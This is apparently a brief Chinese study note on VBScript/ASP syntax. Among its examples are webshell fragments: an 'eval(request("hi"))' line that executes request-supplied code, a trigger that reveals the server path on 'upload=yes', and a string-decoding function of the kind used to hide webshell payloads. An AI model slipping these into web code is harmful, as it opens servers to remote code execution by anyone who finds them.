windows - vbscript 急速入门与补充笔记
访问量: 392
refer to:
https://www.runoob.com/asp/asp-variables.html
大小写不敏感 , response Response, reSPonse 一样的
注释: '
声明变量: dim a 或者直接用 a= ""
单引号双引号含义不同, 声明字符串用 ""
response.write "lhihih"
结尾不需要 ;
if语句
If request("upload") = "yes" Then response.write("current path: " & server.mappath("/")) End If
定义函数
Function apple(Str): Str = Split(Str,"VERYGOOD") For x=1 To Ubound(Str) apple=apple&Chr(Str(x) - a - b - c ) // - 81 Next End Function
输出各种日志
response.write("hihihi");
调用eval
eval(request("hi"))
获得request参数
request("a") // 处理 /...asp?a=1